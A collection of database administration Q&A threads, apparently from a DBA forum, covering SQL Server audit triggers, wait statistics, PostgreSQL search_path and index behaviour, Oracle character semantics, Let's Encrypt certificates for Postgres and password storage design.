        WHERE EXISTS (SELECT TOP (1) 1 FROM deleted AS D WHERE D.[name] = I.[name])
        )
    INSERT INTO dbo.T1_Log
        (Log_ActionGUID, Log_Action, [Name], [Value])
    SELECT @Log_ActionGUID
        , Log_Action
        , [Name]
        , [Value]
    FROM CTE_Actions AS A
    ORDER BY Log_Sort

END

GO

/** Test Statements **/
INSERT INTO dbo.T1
    ([Name], [Value])
VALUES
    ('John Smith', 'Smith Value 1')

UPDATE dbo.T1
SET [Value] = 'New Value'
WHERE [Name] = 'John Smith'

DELETE FROM dbo.T1 WHERE [Name] = 'John Smith'

/** Show Log Data **/
SELECT * FROM dbo.T1_Log
ORDER BY Log_TS, Log_ActionGUID

/** Cleanup **/
DROP TABLE IF EXISTS dbo.T1_Log
DROP TABLE IF EXISTS dbo.T1


Is there an option to turn existing global variant to constant in MySQL or MariaDB? I'm trying to prevent changing some global variables which I set from the ini file.

For example:

server_audit_logging=ON

I want to prevent it from changing by:

SET GLOBAL server_audit_logging = OFF;

Is there a way to achieve it?

Which values are you concerned about?

Some are GLOBAL only.  my.ini and a restart is needed to change them from outside.  Or a user with SUPER can change them from a connection.
Some are SESSION, but initialized to the corresponding GLOBAL when you connected.  You can override these with SET SESSION ....  Once you have done that, no one else can change them until you disconnect.

If you are having trouble with a user, that is a personnel problem.  Don't give him SUPER.


Synchronizing data from AWS Sql Server to local database I have a situation when I need to synchronize some tables from Sql Server database to my local Sql Server database and vice versa. What are my options? I can not find any useful information about replications. Some says it is not supported on AWS. May be mirroring or any other way?

The basic options for replication in SQL Server are available between AWS and on-premise...as long as you have the network access in place.

I'm not sure what source you used to find it was not supported. AWS also offers the Database Migration Service which supports multiple RDBMS and various targets. You can find more information on that here.


Are there any known problems caused by having NLS_LENGTH_SEMANTICS set to CHAR on an Oracle database? I've always thought that anyone using a database where NLS_LENGTH_SEMANTICS set to BYTE when using a multi-byte character set needed their heads examined, but recently a customer of ours said that they had experienced problems applying Oracle patches on databases where NLS_LENGTH_SEMANTICS is set to CHAR. Is there anything to this? Is it a known problem?

According to the documentation:

  Oracle strongly recommends that you do NOT set the NLS_LENGTH_SEMANTICS parameter to CHAR in the instance or server parameter file. This may cause many existing installation scripts to unexpectedly create columns with character length semantics, resulting in runtime errors, including buffer overflows.


Join on dm_db_index_physical_stats very slow I'm running a small query below in a MS Dynamics AX 2012 database and it runs more than 5 minutes which I had to cancel and it is showing PAGEIOLATCH_SH wait type. The database data file is 560GB and on SQL Server 2012 SP1.

SELECT TOP 1 A.avg_fragmentation_in_percent
FROM sys.dm_db_index_physical_stats(DB_ID(),NULL,NULL,NULL,NULL) A
INNER JOIN sys.objects B
ON A.object_id = B.object_id
INNER JOIN sys.indexes C
ON B.object_id = C.object_id AND A.index_id = C.index_id
INNER JOIN sys.partitions D
ON B.object_id = D.object_id AND A.index_id = D.index_id

I checked resource monitor in the server for disk activity and the Read(B/sec) shoots up from an initial 23,000 to over 13,000,000 while the query is running and goes back down after the query is cancelled.

Any ideas what may be causing this?

The disk activity is high because it needs to pull your whole database into RAM to do its analysis. If you call sys.dm_db_index_physical_stats with fewer NULLs, it will be able to run your query on a subsection of the database, which will then run much quicker.

Sadly, your TOP 1 isn't stopping it from doing all the calculations, as you're calling the main function with all those NULLs.


Help to find bottleneck on slow view queries I am trying to optimize two views but i don't know enough about SQL to make them faster.

The first one is this one : https://www.brentozar.com/pastetheplan/?id=BJVtbZJQM

and the second one that uses the first one : https://www.brentozar.com/pastetheplan/?id=SyoZX-1XG

Could it be possible to know where are the bottlenecks from the plan ? Thank you!

One of the things I would recommend you look into would be to update your statistics as from the plans you have pasted they look like they could be out of date.

For example, if you look at what is happening with the index ExclusionProjectConfigurationIdx2 on table [fundhiveAvivaStaging].[dbo].[ExclusionProjectConfiguration]. The operation is a seek which is great, but when you look at what is happening you can see that the Estimated Number of Rows is 1.17062 but the Actual Number of Rows is 34607. The seek on this index counts for 20% of the total execution time.

That isn't the only index that looks like the statistics are out of date, if you look near the bottom of the plan the [LanguageCountrySC] index is used more than once and is 17% of total execution time per use. Again, the stats on this need to be updated.

These two indexes alone account for 54% of your total execution time.

I would start by running DBCC SHOW_STATISTICS on these indexes and compare the output with the number of rows that are actually contained within the table - if there is a huge variance then I recommend you run UPDATE STATISTICS on the offending indexes.

I fear that this may not be the entire solution but it is definitely something that you should look into.


MySQL CREATE statement are really slow (Mac OS X / Macport install) I recently noticed that recreating the database for the web application I am working on is taking a lot of time. I had just reinstalled Mysql from Macport...

I am getting really lousy performances, for example :

0.293437004089 seconds for

CREATE TABLE blockip (
id INT(11) NOT NULL AUTO_INCREMENT,
ip VARCHAR(15) NOT NULL DEFAULT '',
username VARCHAR(80) NOT NULL DEFAULT '',
time INT(10) NOT NULL DEFAULT '0', PRIMARY KEY (id) )
DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci TYPE=MyISAM;

On another machine, nearby I get 0.0016529560089111 seconds for the same query.

The trouble seems to be somewhat related to the disk : disk usage goes really high when I start creating the 70 tables in my database.

Any ideas where to start for a clue ?

Based on the data for the performance of the two drives you mentioned:

http://www.harddrivebenchmark.net/hdd_lookup.php?cpu=FUJITSU+MHV2060BHPL

versus

http://www.harddrivebenchmark.net/hdd_lookup.php?cpu=FUJITSU+MHY2160BH

It looks like the MacBook should be much faster. However, this being a laptop versus a stationary computer, I'm willing to bet you use the MacBook a lot more than the MacMini. Therefore I'm going to suggest that it's likely drive contention in many ways, both in finding open areas on the disk contiguous to create the space as well as other programs on the computer running at the same time. I would really question if you're planning on running the database on this laptop and using the performance metrics from the test runs for anything besides baseline benchmarking. Because when you goto run this code on the server somewhere else it's going to have much better performance.

Until you can eliminate all other factors and declare the two boxes to be as identical as possible can we say why the macmini is faster than the macbook. This becomes an issue for SuperUser not dba.SE


Using letsencrypt with postgresql I'm trying to use letsencrypt to generate certs in order to encrypt communication between a remote client and my postgresql database server. I'm not sure how to get started on setting this up. What kind of certs do I need for the client?  What cert files should I store on the server?
I've gone through this documentation as reference but it's still unclear as to which certificates go where?
Thanks in advance!

Edit: Some clarification since this question was put on hold: I was unsure of what to expect when trying to use letsencrypt. I understand the basics of ssl/tls. But I needed some clarification about whether the certs generated on the server need corresponding certs on the client. The accepted answer has since pointed me in the right direction and the linked postgresql documentation has helped as well.

I've found this article to be quite useful. Assuming you know how PostgreSQL HBA generally works (i.e., how pg_hba.conf and postgresql.conf work), you do the following:

start up certbot and have letsencrypt generate the cert where it
typically does create a script to let letsencrypt copy renewed
certs and keys to $PGDATA make sure postgresql.conf and
pg_hba.conf are configured properly restart Postgres. done


High CXPACKET and LATCH_EX waits I am having some performance issues with a data processing system which I am working on. I have gathered wait stats from a one hour peroid which show a large amount of CXPACKET and LATCH_EX wait events.
The system consists of 3 processing SQL Servers which do alot of number crunching and calculations and then feed the data into a central cluster server. The processing servers can have up to 6 jobs running each at any one time. These wait stats are for the central cluster which I think is causing a bottlneck. The central cluster server has 16 cores and 64GB RAM. MAXDOP is set to 0.
I guess the CXPACKET is from the multiple parallel queries running however I am not sure what the LATCH_EX wait event is indicating. From what I have read this could be a non-buffer wait?
Can anyone suggest what the cause of these kind of waits stats would be and what course of action I should be taking to investigate the root cause of this performance issue?
The top query results are the total wait stats and the bottom query result is the stats over the 1 hour period

CXPACKET can be accompanied with a LATCH_XX (possibly with PAGEIOLATCH_XX or SOS_SCHEDULER_YIELD as well). If this is the case (and I believe it is, based on the question) then the MAXDOP value should be lowered to fit your hardware.

Besides this, here are some more recommended steps in diagnosing the cause of high CXPACKET wait stats values (before changing something on SQL Server):

Do not set MAXDOP to 1, as this is never the solution
Investigate the query and CXPACKET history to understand and determine whether it is something that occurred just once or twice, as it could be just the exception in the system that is normally working correctly
Check the indexes and statistics on tables used by the query and make sure they are up to date
Check the Cost Threshold for Parallelism (CTFP) and make sure that the value used is appropriate for your system
Check whether the CXPACKET is accompanied with a LCK_M_XX (usually accompanied with IO_COMPLETION and ASYNC_IO_COMPLETION). If this is the case, then parallelism is not the bottleneck. Troubleshoot those wait stats to find the root cause of the problem and solution

If you really need to understand the CXPACKET wait type in depth, I would advise reading the Troubleshooting the CXPACKET wait type in SQL Server article


How does postgres use the schema search path when making indexes? Using Postgres 9.1.4 with PostGIS 1.5, as part of a Rails 3.2.x app.

I have a DB containing schemas A and B, with schema A empty and schema B containing tables foo and bar, with indexes on each table in a non-PK field, say email.

If I set my schema search path with SET search_path TO A,B;, then I can run:

CREATE TABLE foo (...);

and it creates table foo in schema A.  The following migration fails, though:

CREATE TABLE bar (...);
CREATE UNIQUE INDEX index_bar_on_email ON bar USING btree (email);

with

Index name 'index_bar_on_email' on table 'bar' already exists

This suggests that create table and create unique index handle the search path differently.  Is there a way to coax PG into making the indexes in schema A?

Update

The issue seems to be related to how Rails interfaces with Postgres.  After the Users table is created, the following queries are run before Rails attempts to create the index:

SELECT DISTINCT i.relname, d.indisunique, d.indkey, t.oid, am.amname
 FROM pg_class t, pg_class i, pg_index d, pg_am am
 WHERE i.relkind = 'i'
 AND d.indexrelid = i.oid
 AND d.indisprimary = 'f'
 AND t.oid = d.indrelid
 AND t.relname = 'users'
 AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname IN ('B','A') )
 AND i.relam = am.oid
 ORDER BY i.relname

SELECT a.attnum, a.attname, t.typname
 FROM pg_attribute a, pg_type t
 WHERE a.attrelid = 311384
 AND a.attnum IN (2)
 AND a.atttypid = t.oid

Based on the result of one or both of these, which seem to be schema-agnostic queries, I am guessing that a non-empty return is telling Rails that this index already exists and so it's not even bothering to try.

For now, I'm just going to rename the indexes, but this might be a bug in the Rails Postgres adatper.

Given the following setup:

regress=> CREATE SCHEMA A;
CREATE SCHEMA
regress=> CREATE SCHEMA B;
CREATE SCHEMA
regress=> SET search_path = B, public;
SET
regress=> CREATE TABLE bar(email text);
CREATE TABLE
CREATE UNIQUE INDEX index_bar_on_email ON bar USING btree (email);
CREATE INDEX

I cannot reproduce the problem you report in PostgreSQL 9.2:

regress=> SET search_path = A, B;
SET
regress=> CREATE TABLE bar(email text);
CREATE TABLE
regress=> CREATE UNIQUE INDEX index_bar_on_email ON bar USING btree (email);
CREATE INDEX

However, rather than using the search_path, it's safer to use explicit schema-qualification. For example, I'd re-write the above as:

regress=> RESET search_path;
RESET
regress=> SHOW search_path ;
  search_path
----------------
 "$user",public
(1 row)

CREATE TABLE B.bar(email text);
CREATE UNIQUE INDEX b.index_bar_on_email ON b.bar USING btree (email);
CREATE TABLE A.bar(email text);
CREATE UNIQUE INDEX index_bar_on_email ON A.bar USING btree (email);

The indexes are automatically created in the schema of their associated table; see:

regress=> \di B.
                  List of relations
 Schema |        Name        | Type  | Owner | Table
--------+--------------------+-------+-------+-------
 b      | index_bar_on_email | index | craig | bar
(1 row)

regress=> \di A.
                  List of relations
 Schema |        Name        | Type  | Owner | Table
--------+--------------------+-------+-------+-------
 a      | index_bar_on_email | index | craig | bar
(1 row)

Update based on question change:

Yes, what you've shown does look like a Rails adapter issue. It's checking to see whether the index exists in any schema. It should be checking to see whether the first table of the given name in the search_path has the named index.

I would write the query differently. I'd leave off the join on pg_class entirely, instead using a cast to regclass to handle search_path resolution for me. I'd use the resulting oid to search for the index. Compare original, then updated, below. Note that the updated query does require search_path to be set first.

regress=> SELECT DISTINCT i.relname, d.indisunique, d.indkey, t.oid, am.amname
 FROM pg_class t, pg_class i, pg_index d, pg_am am
 WHERE i.relkind = 'i'
 AND d.indexrelid = i.oid
 AND d.indisprimary = 'f'
 AND t.oid = d.indrelid
 AND t.relname = 'bar'
 AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname IN ('b','a') )
 AND i.relam = am.oid
 ORDER BY i.relname
;
      relname       | indisunique | indkey |  oid  | amname
--------------------+-------------+--------+-------+--------
 index_bar_on_email | t           | 1      | 28585 | btree
 index_bar_on_email | t           | 1      | 28592 | btree
(2 rows)

regress=> SELECT DISTINCT i.relname, d.indisunique, d.indkey, 'bar'::regclass::oid, am.amname
 FROM pg_class i, pg_index d, pg_am am
 WHERE i.relkind = 'i'
 AND d.indexrelid = i.oid
 AND d.indisprimary = 'f'
 AND 'bar'::regclass = d.indrelid
 AND i.relam = am.oid
 ORDER BY i.relname
;
      relname       | indisunique | indkey | regclass | amname
--------------------+-------------+--------+----------+--------
 index_bar_on_email | t           | 1      | 28585    | btree
(1 row)


Why does NULL ordering impact a btree scan in PostgreSQL? In this answer jjanes says that NULL ORDERING contrary to the index declaration ordering can force a quick scan. Turns out he's right. I want to know why that is though. If you a btree with nulls last, or first why can't you skip over them?

CREATE TABLE foo AS
  SELECT x::int
  FROM generate_series(1,1e6) AS gs(x);

CREATE INDEX ON foo(x DESC NULLS FIRST);

ANALYZE foo;

With NULLS LAST,

SELECT * FROM foo WHERE x BETWEEN 100 AND 5000 ORDER BY x DESC NULLS LAST;

                                                            QUERY PLAN
----------------------------------------------------------------------------------------------------------------------------------
 Sort  (cost=414.95..426.19 rows=4494 width=4) (actual time=2.660..3.147 rows=4901 loops=1)
   Sort Key: x DESC NULLS LAST
   Sort Method: quicksort  Memory: 422kB
   ->  Index Only Scan using foo_x_idx on foo  (cost=0.42..142.31 rows=4494 width=4) (actual time=0.031..1.522 rows=4901 loops=1)
         Index Cond: ((x >= 100) AND (x <= 5000))
         Heap Fetches: 0
 Planning time: 0.265 ms
 Execution time: 3.633 ms
(8 rows)

Without NULLS LAST,

SELECT * FROM foo WHERE x BETWEEN 100 AND 5000 ORDER BY x DESC;
                                                         QUERY PLAN
----------------------------------------------------------------------------------------------------------------------------
 Index Only Scan using foo_x_idx on foo  (cost=0.42..142.31 rows=4494 width=4) (actual time=0.040..1.611 rows=4901 loops=1)
   Index Cond: ((x >= 100) AND (x <= 5000))
   Heap Fetches: 0
 Planning time: 0.192 ms
 Execution time: 2.021 ms
(5 rows)

It does seem NULL ordering contrary to index declaration forces quickscan rather than index-only. Though I have no idea why.

It even happens if the column is NOT NULL,

ALTER TABLE foo ALTER COLUMN x SET NOT NULL;
VACUUM ANALYZE foo;
SELECT * FROM foo WHERE x BETWEEN 100 AND 5000 ORDER BY x DESC NULLS LAST;
                                                            QUERY PLAN
----------------------------------------------------------------------------------------------------------------------------------
 Sort  (cost=477.64..490.43 rows=5113 width=4) (actual time=2.681..3.173 rows=4901 loops=1)
   Sort Key: x DESC NULLS LAST
   Sort Method: quicksort  Memory: 422kB
   ->  Index Only Scan using foo_x_idx on foo  (cost=0.42..162.69 rows=5113 width=4) (actual time=0.029..1.506 rows=4901 loops=1)
         Index Cond: ((x >= 100) AND (x <= 5000))
         Heap Fetches: 0
 Planning time: 0.225 ms
 Execution time: 3.662 ms
(8 rows)

I asked the question in irc, it seems that they just never did it.

< johto> EvanCarroll; "because nobody implemented it" is usually the answer
< macdice> EvanCarroll: we absolutely could implement that and it's been discussed in this channel.  the codez have not been forthcoming
< macdice> an index scan that is smart enough to skip null (start after null) and then skip back to the nulls at the end
< macdice> probably the easiest of many potential skip scans tricks we could teach indexes to do

(pending other potential answers, I'll just accept this)


Web Database - How to store user information I'm starting to design a database to use in a web solution and would like to understand if there is any benefit to storing passwords (and the rest of the user information for that matter) in a separate table to the table with the user id.

The one benefit for storing passwords in a separate table, if you have a db that supports this, is you can use a security definer function to read the passwords, and this prevents sql injection or the like from reading it in other queries.  Think of it as being like the /etc/shadow file on Linux.  Of course this is in addition to salted hashes.

This being said I am of the opinion you should really avoid storing passwords in your database.  The less of this sort of thing your app does the less you have to worry about security-wise.  Outsource it to OpenID providers, etc. or if it is an intranet app, something like LDAP, AD, or the like.


What is the best way to know the structure of a database One of the things that I spend a lot of time when i start some proyect is to understand the relationships of the database provided, and the results of update or delete some foreign key

what is your way of learn a database structure? maybe you draw on paper? or some software

You can use "database Diagram" and add all tables to get a physical representation of the tables with PK and FK and some link between table but this is certainly not as detailed as you would like it to be.

If you don't have any dev documentation for those DB, that's still bether than nothing and with some manual work to check those link between tables, you can get something that is "workable".

Thank you